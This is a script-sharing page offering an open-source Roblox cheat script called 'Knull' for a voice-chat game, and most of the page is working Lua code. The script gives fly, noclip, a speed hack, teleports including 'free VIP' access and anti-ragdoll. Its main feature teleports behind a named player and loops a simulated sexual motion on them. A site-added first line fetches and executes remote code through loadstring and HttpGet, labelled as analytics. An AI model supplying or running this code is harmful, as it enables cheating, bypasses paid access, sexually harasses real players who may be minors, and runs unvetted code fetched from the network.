Advertisements

norwegian voice chat

Ggjrixxer28 days ago
  • Open source
Play Game

Quick Actions

Description

Knull — type a name, TP behind them, flop forever until you press again. VIP / Spawn — one-click teleport buttons. Fly — WASD + Space/Ctrl, speed tied to the slider. Noclip — walk through anything. 2x Jump — doubled jump height, always re-applied. Speed slider — 16 to 300, controls walk and fly. Anti-Ragdoll — always on, no button needed. ✕ — closes the GUI and stops everything. P — toggle the panel.

Advertisements

Features

6 Features
  • tp
  • free vip
  • bang/knull
  • fly
  • speed
  • noclip
870 linesâ€Ē26394 bytes
--[[ RoScripter Safety TipThe uploader of this script isn't verified on RoScripter yet. Be careful.Protect your account:  â€Ē Type your Roblox password only on roblox.com.  â€Ē A site that looks like Roblox but has a different address is fake.  â€Ē Pages that give free Robux or prizes if you log in are scams.]]--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/9SffH5Pe?v=1"))()end);--=== Does not affect the script ===--local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer

local FLOP_SPEED = 8
local FLOP_ANGLE = 35
local TP_DISTANCE = 1.2
local FOLLOW_HEIGHT = 0
local DISABLE_COLLISION = true

local VIP_POSITION   = Vector3.new(-1117.89, -23.85, 18.15)
local SPAWN_POSITION = Vector3.new(-1.14, 2.54, 23.06)

local DEFAULT_WALKSPEED = 16
local BASE_JUMP_POWER = 50
local BASE_JUMP_HEIGHT = 7.2

local SPEED_MIN = 16
local SPEED_MAX = 300
local currentSpeed = 16

local BG       = Color3.fromRGB(12, 12, 14)
local PANEL    = Color3.fromRGB(20, 20, 24)
local INPUT    = Color3.fromRGB(26, 26, 32)
local ACCENT   = Color3.fromRGB(220, 30, 40)
local ACCENT2  = Color3.fromRGB(255, 60, 70)
local TEXT     = Color3.fromRGB(245, 245, 245)
local MUTED    = Color3.fromRGB(150, 150, 160)
local DARKRED  = Color3.fromRGB(120, 18, 24)
local RED      = Color3.fromRGB(210, 30, 40)
local RED_ON   = Color3.fromRGB(255, 55, 65)
local ORANGE   = Color3.fromRGB(230, 100, 40)

local isFlopping = false
local flopConnection = nil
local followTarget = nil
local destroyed = false

local flying = false
local flyConnection = nil
local flyBodyVelocity = nil
local flyBodyGyro = nil

local noclipEnabled = false
local noclipConnection = nil

local doubleJumpEnabled = false
local jumpConnection = nil

local ragdollConnection = nil

local function startNoRagdoll()
	if ragdollConnection then return end
	ragdollConnection = RunService.Heartbeat:Connect(function()
		local char = LocalPlayer.Character
		if not char then return end
		local humanoid = char:FindFirstChildOfClass("Humanoid")
		if humanoid and humanoid:GetState() == Enum.HumanoidStateType.Physics then
			humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
		end
		for _, obj in ipairs(char:GetDescendants()) do
			if obj:IsA("BallSocketConstraint") or obj:IsA("NoCollisionConstraint") then
				obj:Destroy()
			elseif obj:IsA("Motor6D") and obj.Enabled == false then
				obj.Enabled = true
			end
		end
	end)
end

local function startNoclip()
	if noclipConnection then return end
	noclipConnection = RunService.Stepped:Connect(function()
		local char = LocalPlayer.Character
		if not char then return end
		for _, part in ipairs(char:GetDescendants()) do
			if part:IsA("BasePart") and part.CanCollide then
				part.CanCollide = false
			end
		end
	end)
end

local function stopNoclip()
	if noclipConnection then
		noclipConnection:Disconnect()
		noclipConnection = nil
	end
end

local function applyDoubleJump()
	local char = LocalPlayer.Character
	if not char then return end
	local humanoid = char:FindFirstChildOfClass("Humanoid")
	if not humanoid then return end
	humanoid.UseJumpPower = true
	humanoid.JumpPower = BASE_JUMP_POWER * 2
	humanoid.JumpHeight = BASE_JUMP_HEIGHT * 2
end

local function startDoubleJump()
	if jumpConnection then return end
	doubleJumpEnabled = true
	applyDoubleJump()
	jumpConnection = RunService.Stepped:Connect(function()
		if not doubleJumpEnabled then return end
		local char = LocalPlayer.Character
		if not char then return end
		local humanoid = char:FindFirstChildOfClass("Humanoid")
		if not humanoid then return end
		if humanoid.JumpPower ~= BASE_JUMP_POWER * 2 then
			humanoid.UseJumpPower = true
			humanoid.JumpPower = BASE_JUMP_POWER * 2
		end
		if humanoid.JumpHeight ~= BASE_JUMP_HEIGHT * 2 then
			humanoid.JumpHeight = BASE_JUMP_HEIGHT * 2
		end
	end)
end

local function stopDoubleJump()
	doubleJumpEnabled = false
	if jumpConnection then
		jumpConnection:Disconnect()
		jumpConnection = nil
	end
	local char = LocalPlayer.Character
	if char then
		local humanoid = char:FindFirstChildOfClass("Humanoid")
		if humanoid then
			humanoid.JumpPower = BASE_JUMP_POWER
			humanoid.JumpHeight = BASE_JUMP_HEIGHT
		end
	end
end

local function disableCollision()
	if not DISABLE_COLLISION then return end
	local char = LocalPlayer.Character
	if not char then return end
	for _, part in ipairs(char:GetDescendants()) do
		if part:IsA("BasePart") then
			pcall(function() part.CanCollide = false end)
		end
	end
end

local function stopFlop()
	if flopConnection then
		flopConnection:Disconnect()
		flopConnection = nil
	end
	local character = LocalPlayer.Character
	if character then
		local humanoid = character:FindFirstChildOfClass("Humanoid")
		if humanoid then
			humanoid.PlatformStand = false
			humanoid.WalkSpeed = currentSpeed
			humanoid.JumpPower = BASE_JUMP_POWER
		end
	end
	isFlopping = false
	followTarget = nil
end

local function startFly()
	if flying then return end
	local char = LocalPlayer.Character
	if not char then return end
	local root = char:FindFirstChild("HumanoidRootPart")
	local humanoid = char:FindFirstChildOfClass("Humanoid")
	if not root or not humanoid then return end

	stopFlop()
	flying = true

	root.AssemblyLinearVelocity = Vector3.zero
	root.AssemblyAngularVelocity = Vector3.zero

	flyBodyVelocity = Instance.new("BodyVelocity")
	flyBodyVelocity.MaxForce = Vector3.new(9e9, 9e9, 9e9)
	flyBodyVelocity.Velocity = Vector3.zero
	flyBodyVelocity.Parent = root

	flyBodyGyro = Instance.new("BodyGyro")
	flyBodyGyro.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
	flyBodyGyro.P = 1e4
	flyBodyGyro.CFrame = root.CFrame
	flyBodyGyro.Parent = root

	humanoid.PlatformStand = true

	flyConnection = RunService.RenderStepped:Connect(function()
		if not flying or not root.Parent or not humanoid.Parent then return end
		local cam = workspace.CurrentCamera
		flyBodyGyro.CFrame = cam.CFrame

		local forward = Vector3.zero
		if UserInputService:IsKeyDown(Enum.KeyCode.W) then forward = forward + cam.CFrame.LookVector end
		if UserInputService:IsKeyDown(Enum.KeyCode.S) then forward = forward - cam.CFrame.LookVector end
		if UserInputService:IsKeyDown(Enum.KeyCode.A) then forward = forward - cam.CFrame.RightVector end
		if UserInputService:IsKeyDown(Enum.KeyCode.D) then forward = forward + cam.CFrame.RightVector end
		if UserInputService:IsKeyDown(Enum.KeyCode.Space) then forward = forward + Vector3.new(0, 1, 0) end
		if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then forward = forward - Vector3.new(0, 1, 0) end

		if forward.Magnitude > 0 then
			flyBodyVelocity.Velocity = forward.Unit * currentSpeed
		else
			flyBodyVelocity.Velocity = Vector3.zero
		end
	end)
end

local function stopFly()
	if not flying then return end
	flying = false
	if flyConnection then flyConnection:Disconnect() flyConnection = nil end
	if flyBodyVelocity then flyBodyVelocity:Destroy() flyBodyVelocity = nil end
	if flyBodyGyro then flyBodyGyro:Destroy() flyBodyGyro = nil end
	local char = LocalPlayer.Character
	if char then
		local humanoid = char:FindFirstChildOfClass("Humanoid")
		if humanoid then humanoid.PlatformStand = false end
	end
end

local function teleportTo(position)
	stopFlop()
	stopFly()
	local char = LocalPlayer.Character
	if not char then return end
	local root = char:FindFirstChild("HumanoidRootPart")
	if not root then return end
	root.CFrame = CFrame.new(position)
	root.AssemblyLinearVelocity = Vector3.zero
	root.AssemblyAngularVelocity = Vector3.zero
end

local function startFlopFollow(targetPlayer)
	if isFlopping then stopFlop() end
	stopFly()

	local character = LocalPlayer.Character
	if not character then return end
	local humanoid = character:FindFirstChildOfClass("Humanoid")
	local rootPart = character:FindFirstChild("HumanoidRootPart")
	if not humanoid or not rootPart then return end

	followTarget = targetPlayer
	isFlopping = true

	humanoid.PlatformStand = true
	humanoid.WalkSpeed = 0
	humanoid.JumpPower = 0

	disableCollision()
	task.wait(0.2)

	if not character.Parent then
		isFlopping = false
		return
	end

	local startTime = tick()
	flopConnection = RunService.Heartbeat:Connect(function()
		if destroyed then stopFlop() return end
		if not isFlopping or not character.Parent or not rootPart.Parent or not humanoid.Parent then
			stopFlop() return
		end
		if not followTarget or not followTarget.Parent then stopFlop() return end

		local targetChar = followTarget.Character
		if not targetChar then stopFlop() return end
		local targetRoot = targetChar:FindFirstChild("HumanoidRootPart")
		if not targetRoot then stopFlop() return end

		local behindCFrame = targetRoot.CFrame * CFrame.new(0, FOLLOW_HEIGHT, TP_DISTANCE)
		local behindPos = behindCFrame.Position

		local elapsed = tick() - startTime
		local flopAngle = math.sin(elapsed * FLOP_SPEED) * math.rad(FLOP_ANGLE)
		local bounce = math.abs(math.sin(elapsed * FLOP_SPEED)) * 0.15

		local lookAt = targetRoot.Position
		local baseCFrame = CFrame.new(behindPos + Vector3.new(0, bounce, 0), lookAt)

		rootPart.CFrame = baseCFrame * CFrame.Angles(flopAngle, 0, 0)

		rootPart.AssemblyLinearVelocity = Vector3.zero
		rootPart.AssemblyAngularVelocity = Vector3.zero
	end)
end

local function findPlayerByName(name)
	if not name or name == "" then return nil end
	name = string.lower(name)
	for _, p in pairs(Players:GetPlayers()) do
		if p ~= LocalPlayer and (string.lower(p.Name) == name or string.lower(p.DisplayName) == name) then
			return p
		end
	end
	for _, p in pairs(Players:GetPlayers()) do
		if p ~= LocalPlayer and (string.find(string.lower(p.Name), name, 1, true)
			or string.find(string.lower(p.DisplayName), name, 1, true)) then
			return p
		end
	end
	return nil
end

local oldGui = LocalPlayer:FindFirstChild("PlayerGui") and LocalPlayer.PlayerGui:FindFirstChild("KnullGui")
if oldGui then oldGui:Destroy() end

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "KnullGui"
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
screenGui.Parent = LocalPlayer:WaitForChild("PlayerGui")

local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 280, 0, 440)
frame.Position = UDim2.new(0.5, -140, 0, 60)
frame.BackgroundColor3 = BG
frame.BorderSizePixel = 0
frame.Active = true
frame.Draggable = true
frame.Parent = screenGui

local frameCorner = Instance.new("UICorner")
frameCorner.CornerRadius = UDim.new(0, 14)
frameCorner.Parent = frame

local frameStroke = Instance.new("UIStroke")
frameStroke.Color = ACCENT
frameStroke.Thickness = 1.5
frameStroke.Transparency = 0.4
frameStroke.Parent = frame

local accent = Instance.new("Frame")
accent.Size = UDim2.new(1, -24, 0, 3)
accent.Position = UDim2.new(0, 12, 0, 0)
accent.BackgroundColor3 = ACCENT
accent.BorderSizePixel = 0
accent.Parent = frame

local accentCorner = Instance.new("UICorner")
accentCorner.CornerRadius = UDim.new(0, 2)
accentCorner.Parent = accent

local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -80, 0, 26)
title.Position = UDim2.new(0, 16, 0, 14)
title.BackgroundTransparency = 1
title.Text = "Knull"
title.TextColor3 = ACCENT2
title.Font = Enum.Font.GothamBold
title.TextSize = 18
title.TextXAlignment = Enum.TextXAlignment.Left
title.Parent = frame

local subtitle = Instance.new("TextLabel")
subtitle.Size = UDim2.new(1, -80, 0, 16)
subtitle.Position = UDim2.new(0, 16, 0, 36)
subtitle.BackgroundTransparency = 1
subtitle.Text = "utility suite"
subtitle.TextColor3 = MUTED
subtitle.Font = Enum.Font.Gotham
subtitle.TextSize = 11
subtitle.TextXAlignment = Enum.TextXAlignment.Left
subtitle.Parent = frame

local closeButton = Instance.new("TextButton")
closeButton.Size = UDim2.new(0, 28, 0, 28)
closeButton.Position = UDim2.new(1, -40, 0, 14)
closeButton.BackgroundColor3 = DARKRED
closeButton.BorderSizePixel = 0
closeButton.Text = "✕"
closeButton.TextColor3 = TEXT
closeButton.Font = Enum.Font.GothamBold
closeButton.TextSize = 16
closeButton.AutoButtonColor = false
closeButton.Parent = frame

local closeCorner = Instance.new("UICorner")
closeCorner.CornerRadius = UDim.new(0, 8)
closeCorner.Parent = closeButton

local closeStroke = Instance.new("UIStroke")
closeStroke.Color = ACCENT
closeStroke.Thickness = 1
closeStroke.Transparency = 0.3
closeStroke.Parent = closeButton

closeButton.MouseEnter:Connect(function()
	closeButton.BackgroundColor3 = RED
end)

closeButton.MouseLeave:Connect(function()
	closeButton.BackgroundColor3 = DARKRED
end)

local divider = Instance.new("Frame")
divider.Size = UDim2.new(1, -24, 0, 1)
divider.Position = UDim2.new(0, 12, 0, 58)
divider.BackgroundColor3 = ACCENT
divider.BackgroundTransparency = 0.7
divider.BorderSizePixel = 0
divider.Parent = frame

local targetLabel = Instance.new("TextLabel")
targetLabel.Size = UDim2.new(1, -24, 0, 14)
targetLabel.Position = UDim2.new(0, 16, 0, 68)
targetLabel.BackgroundTransparency = 1
targetLabel.Text = "TARGET"
targetLabel.TextColor3 = ACCENT2
targetLabel.Font = Enum.Font.GothamBold
targetLabel.TextSize = 10
targetLabel.TextXAlignment = Enum.TextXAlignment.Left
targetLabel.Parent = frame

local inputBox = Instance.new("TextBox")
inputBox.Size = UDim2.new(1, -32, 0, 32)
inputBox.Position = UDim2.new(0, 16, 0, 86)
inputBox.BackgroundColor3 = INPUT
inputBox.BorderSizePixel = 0
inputBox.Text = ""
inputBox.PlaceholderText = "Enter player name..."
inputBox.TextColor3 = TEXT
inputBox.PlaceholderColor3 = MUTED
inputBox.Font = Enum.Font.Gotham
inputBox.TextSize = 13
inputBox.ClearTextOnFocus = false
inputBox.Parent = frame

local inputCorner = Instance.new("UICorner")
inputCorner.CornerRadius = UDim.new(0, 8)
inputCorner.Parent = inputBox

local inputStroke = Instance.new("UIStroke")
inputStroke.Color = ACCENT
inputStroke.Thickness = 1
inputStroke.Transparency = 0.6
inputStroke.Parent = inputBox

local inputPad = Instance.new("UIPadding")
inputPad.PaddingLeft = UDim.new(0, 10)
inputPad.PaddingRight = UDim.new(0, 10)
inputPad.Parent = inputBox

local button = Instance.new("TextButton")
button.Size = UDim2.new(1, -32, 0, 34)
button.Position = UDim2.new(0, 16, 0, 124)
button.BackgroundColor3 = RED
button.BorderSizePixel = 0
button.Text = "Knull"
button.TextColor3 = TEXT
button.Font = Enum.Font.GothamBold
button.TextSize = 14
button.Parent = frame

local buttonCorner = Instance.new("UICorner")
buttonCorner.CornerRadius = UDim.new(0, 8)
buttonCorner.Parent = button

local tpLabel = Instance.new("TextLabel")
tpLabel.Size = UDim2.new(1, -24, 0, 14)
tpLabel.Position = UDim2.new(0, 16, 0, 170)
tpLabel.BackgroundTransparency = 1
tpLabel.Text = "TELEPORT"
tpLabel.TextColor3 = ACCENT2
tpLabel.Font = Enum.Font.GothamBold
tpLabel.TextSize = 10
tpLabel.TextXAlignment = Enum.TextXAlignment.Left
tpLabel.Parent = frame

local vipButton = Instance.new("TextButton")
vipButton.Size = UDim2.new(0.5, -20, 0, 32)
vipButton.Position = UDim2.new(0, 16, 0, 188)
vipButton.BackgroundColor3 = DARKRED
vipButton.BorderSizePixel = 0
vipButton.Text = "âœĻ  VIP"
vipButton.TextColor3 = TEXT
vipButton.Font = Enum.Font.GothamBold
vipButton.TextSize = 13
vipButton.Parent = frame

local vipCorner = Instance.new("UICorner")
vipCorner.CornerRadius = UDim.new(0, 8)
vipCorner.Parent = vipButton

local spawnButton = Instance.new("TextButton")
spawnButton.Size = UDim2.new(0.5, -20, 0, 32)
spawnButton.Position = UDim2.new(0.5, 4, 0, 188)
spawnButton.BackgroundColor3 = DARKRED
spawnButton.BorderSizePixel = 0
spawnButton.Text = "🏠  Spawn"
spawnButton.TextColor3 = TEXT
spawnButton.Font = Enum.Font.GothamBold
spawnButton.TextSize = 13
spawnButton.Parent = frame

local spawnCorner = Instance.new("UICorner")
spawnCorner.CornerRadius = UDim.new(0, 8)
spawnCorner.Parent = spawnButton

local moveLabel = Instance.new("TextLabel")
moveLabel.Size = UDim2.new(1, -24, 0, 14)
moveLabel.Position = UDim2.new(0, 16, 0, 232)
moveLabel.BackgroundTransparency = 1
moveLabel.Text = "MOVEMENT"
moveLabel.TextColor3 = ACCENT2
moveLabel.Font = Enum.Font.GothamBold
moveLabel.TextSize = 10
moveLabel.TextXAlignment = Enum.TextXAlignment.Left
moveLabel.Parent = frame

local flyButton = Instance.new("TextButton")
flyButton.Size = UDim2.new(0.5, -20, 0, 32)
flyButton.Position = UDim2.new(0, 16, 0, 250)
flyButton.BackgroundColor3 = DARKRED
flyButton.BorderSizePixel = 0
flyButton.Text = "🕊ïļ  Fly"
flyButton.TextColor3 = TEXT
flyButton.Font = Enum.Font.GothamBold
flyButton.TextSize = 13
flyButton.Parent = frame

local flyCorner = Instance.new("UICorner")
flyCorner.CornerRadius = UDim.new(0, 8)
flyCorner.Parent = flyButton

local noclipButton = Instance.new("TextButton")
noclipButton.Size = UDim2.new(0.5, -20, 0, 32)
noclipButton.Position = UDim2.new(0.5, 4, 0, 250)
noclipButton.BackgroundColor3 = DARKRED
noclipButton.BorderSizePixel = 0
noclipButton.Text = "ðŸ‘ŧ  Noclip"
noclipButton.TextColor3 = TEXT
noclipButton.Font = Enum.Font.GothamBold
noclipButton.TextSize = 13
noclipButton.Parent = frame

local noclipCorner = Instance.new("UICorner")
noclipCorner.CornerRadius = UDim.new(0, 8)
noclipCorner.Parent = noclipButton

local jumpButton = Instance.new("TextButton")
jumpButton.Size = UDim2.new(1, -32, 0, 32)
jumpButton.Position = UDim2.new(0, 16, 0, 290)
jumpButton.BackgroundColor3 = DARKRED
jumpButton.BorderSizePixel = 0
jumpButton.Text = "ðŸĶ˜  2x Jump"
jumpButton.TextColor3 = TEXT
jumpButton.Font = Enum.Font.GothamBold
jumpButton.TextSize = 13
jumpButton.Parent = frame

local jumpCorner = Instance.new("UICorner")
jumpCorner.CornerRadius = UDim.new(0, 8)
jumpCorner.Parent = jumpButton

local speedHeader = Instance.new("Frame")
speedHeader.Size = UDim2.new(1, -32, 0, 16)
speedHeader.Position = UDim2.new(0, 16, 0, 334)
speedHeader.BackgroundTransparency = 1
speedHeader.Parent = frame

local speedLabel = Instance.new("TextLabel")
speedLabel.Size = UDim2.new(0.6, 0, 1, 0)
speedLabel.BackgroundTransparency = 1
speedLabel.Text = "SPEED (walk + fly)"
speedLabel.TextColor3 = ACCENT2
speedLabel.Font = Enum.Font.GothamBold
speedLabel.TextSize = 10
speedLabel.TextXAlignment = Enum.TextXAlignment.Left
speedLabel.Parent = speedHeader

local speedValue = Instance.new("TextLabel")
speedValue.Size = UDim2.new(0.4, 0, 1, 0)
speedValue.Position = UDim2.new(0.6, 0, 0, 0)
speedValue.BackgroundTransparency = 1
speedValue.Text = "16"
speedValue.TextColor3 = ACCENT2
speedValue.Font = Enum.Font.GothamBold
speedValue.TextSize = 12
speedValue.TextXAlignment = Enum.TextXAlignment.Right
speedValue.Parent = speedHeader

local sliderBg = Instance.new("Frame")
sliderBg.Size = UDim2.new(1, -32, 0, 10)
sliderBg.Position = UDim2.new(0, 16, 0, 358)
sliderBg.BackgroundColor3 = INPUT
sliderBg.BorderSizePixel = 0
sliderBg.Parent = frame

local sliderBgCorner = Instance.new("UICorner")
sliderBgCorner.CornerRadius = UDim.new(0, 5)
sliderBgCorner.Parent = sliderBg

local sliderFill = Instance.new("Frame")
sliderFill.Size = UDim2.new(0, 0, 1, 0)
sliderFill.BackgroundColor3 = ACCENT
sliderFill.BorderSizePixel = 0
sliderFill.Parent = sliderBg

local sliderFillCorner = Instance.new("UICorner")
sliderFillCorner.CornerRadius = UDim.new(0, 5)
sliderFillCorner.Parent = sliderFill

local sliderKnob = Instance.new("TextButton")
sliderKnob.Size = UDim2.new(0, 18, 0, 18)
sliderKnob.Position = UDim2.new(0, -9, 0.5, -9)
sliderKnob.BackgroundColor3 = ACCENT2
sliderKnob.BorderSizePixel = 0
sliderKnob.Text = ""
sliderKnob.AutoButtonColor = false
sliderKnob.Parent = sliderBg

local sliderKnobCorner = Instance.new("UICorner")
sliderKnobCorner.CornerRadius = UDim.new(1, 0)
sliderKnobCorner.Parent = sliderKnob

local function setSpeed(value)
	currentSpeed = math.clamp(math.floor(value), SPEED_MIN, SPEED_MAX)
	local alpha = (currentSpeed - SPEED_MIN) / (SPEED_MAX - SPEED_MIN)
	sliderFill.Size = UDim2.new(alpha, 0, 1, 0)
	sliderKnob.Position = UDim2.new(alpha, -9, 0.5, -9)
	speedValue.Text = tostring(currentSpeed)

	local char = LocalPlayer.Character
	if char then
		local humanoid = char:FindFirstChildOfClass("Humanoid")
		if humanoid and not isFlopping and not flying then
			humanoid.WalkSpeed = currentSpeed
		end
	end
end

setSpeed(16)

local draggingSlider = false

local function updateSliderFromMouse()
	local mouse = UserInputService:GetMouseLocation()
	local absPos = sliderBg.AbsolutePosition
	local absSize = sliderBg.AbsoluteSize
	if absSize.X <= 0 then return end
	local rel = math.clamp((mouse.X - absPos.X) / absSize.X, 0, 1)
	setSpeed(SPEED_MIN + rel * (SPEED_MAX - SPEED_MIN))
end

sliderKnob.InputBegan:Connect(function(input)
	if input.UserInputType == Enum.UserInputType.MouseButton1
		or input.UserInputType == Enum.UserInputType.Touch then
		draggingSlider = true
	end
end)

sliderBg.InputBegan:Connect(function(input)
	if input.UserInputType == Enum.UserInputType.MouseButton1
		or input.UserInputType == Enum.UserInputType.Touch then
		draggingSlider = true
		updateSliderFromMouse()
	end
end)

UserInputService.InputChanged:Connect(function(input)
	if draggingSlider and (input.UserInputType == Enum.UserInputType.MouseMovement
		or input.UserInputType == Enum.UserInputType.Touch) then
		updateSliderFromMouse()
	end
end)

UserInputService.InputEnded:Connect(function(input)
	if input.UserInputType == Enum.UserInputType.MouseButton1
		or input.UserInputType == Enum.UserInputType.Touch then
		draggingSlider = false
	end
end)

local status = Instance.new("TextLabel")
status.Size = UDim2.new(1, -32, 0, 22)
status.Position = UDim2.new(0, 16, 1, -30)
status.BackgroundColor3 = PANEL
status.BorderSizePixel = 0
status.Text = ""
status.TextColor3 = MUTED
status.Font = Enum.Font.Gotham
status.TextSize = 11
status.Parent = frame

local statusCorner = Instance.new("UICorner")
statusCorner.CornerRadius = UDim.new(0, 6)
statusCorner.Parent = status

local statusStroke = Instance.new("UIStroke")
statusStroke.Color = ACCENT
statusStroke.Thickness = 1
statusStroke.Transparency = 0.7
statusStroke.Parent = status

local function showStatus(text, color)
	status.Text = text
	status.TextColor3 = color or MUTED
end

local function doAction()
	if isFlopping then
		stopFlop()
		button.BackgroundColor3 = RED
		button.Text = "Knull"
		showStatus("Stopped", MUTED)
		return
	end

	local name = inputBox.Text
	if name == "" then
		showStatus("Enter a name!", ACCENT2)
		return
	end

	local targetPlayer = findPlayerByName(name)
	if not targetPlayer then
		showStatus("Player '" .. name .. "' not found", ACCENT2)
		return
	end

	if not targetPlayer.Character then
		showStatus(targetPlayer.Name .. " has no character", ACCENT2)
		return
	end

	showStatus("Knull " .. targetPlayer.Name .. "...", ACCENT2)
	startFlopFollow(targetPlayer)

	button.BackgroundColor3 = ORANGE
	button.Text = "Stop Knull"
end

button.MouseButton1Click:Connect(doAction)

inputBox.FocusLost:Connect(function(enterPressed)
	if enterPressed then doAction() end
end)

vipButton.MouseButton1Click:Connect(function()
	teleportTo(VIP_POSITION)
	button.BackgroundColor3 = RED
	button.Text = "Knull"
	flyButton.BackgroundColor3 = DARKRED
	flyButton.Text = "🕊ïļ  Fly"
	showStatus("Teleported to VIP", ACCENT2)
end)

spawnButton.MouseButton1Click:Connect(function()
	teleportTo(SPAWN_POSITION)
	button.BackgroundColor3 = RED
	button.Text = "Knull"
	flyButton.BackgroundColor3 = DARKRED
	flyButton.Text = "🕊ïļ  Fly"
	showStatus("Teleported to Spawn", ACCENT2)
end)

flyButton.MouseButton1Click:Connect(function()
	if flying then
		stopFly()
		flyButton.BackgroundColor3 = DARKRED
		flyButton.Text = "🕊ïļ  Fly"
		showStatus("Fly off", MUTED)
	else
		startFly()
		if flying then
			flyButton.BackgroundColor3 = RED_ON
			flyButton.Text = "🕊ïļ  Fly ON"
			button.BackgroundColor3 = RED
			button.Text = "Knull"
			showStatus("Fly on — WASD + Space/Ctrl", ACCENT2)
		else
			showStatus("Fly failed", ACCENT2)
		end
	end
end)

noclipButton.MouseButton1Click:Connect(function()
	if noclipEnabled then
		noclipEnabled = false
		stopNoclip()
		noclipButton.BackgroundColor3 = DARKRED
		noclipButton.Text = "ðŸ‘ŧ  Noclip"
		showStatus("Noclip off", MUTED)
	else
		noclipEnabled = true
		startNoclip()
		noclipButton.BackgroundColor3 = RED_ON
		noclipButton.Text = "ðŸ‘ŧ  Noclip ON"
		showStatus("Noclip on", ACCENT2)
	end
end)

jumpButton.MouseButton1Click:Connect(function()
	if doubleJumpEnabled then
		stopDoubleJump()
		jumpButton.BackgroundColor3 = DARKRED
		jumpButton.Text = "ðŸĶ˜  2x Jump"
		showStatus("2x Jump off", MUTED)
	else
		startDoubleJump()
		jumpButton.BackgroundColor3 = RED_ON
		jumpButton.Text = "ðŸĶ˜  2x Jump ON"
		showStatus("2x Jump on", ACCENT2)
	end
end)

closeButton.MouseButton1Click:Connect(function()
	destroyed = true
	stopFlop()
	stopFly()
	stopNoclip()
	stopDoubleJump()
	if ragdollConnection then ragdollConnection:Disconnect() ragdollConnection = nil end
	if screenGui then screenGui:Destroy() end
	print("[Knull] Closed")
end)

task.spawn(function()
	while not destroyed do
		task.wait(0.5)
		if not isFlopping and button.Text ~= "Knull" then
			button.BackgroundColor3 = RED
			button.Text = "Knull"
		end
	end
end)

LocalPlayer.CharacterAdded:Connect(function()
	task.wait(1)
	disableCollision()
	if doubleJumpEnabled then applyDoubleJump() end
	startNoRagdoll()
end)

if LocalPlayer.Character then
	disableCollision()
end

startNoRagdoll()

UserInputService.InputBegan:Connect(function(input, gameProcessed)
	if gameProcessed then return end
	if destroyed then return end
	if input.KeyCode == Enum.KeyCode.P then
		frame.Visible = not frame.Visible
	end
end)

print("[Knull] Loaded - press P to toggle GUI")

Advertisements

Comments

0

Did it work for you? Sign in to share your experience.

Sign in to comment

No comments yet

Tried it? Let others know if it works.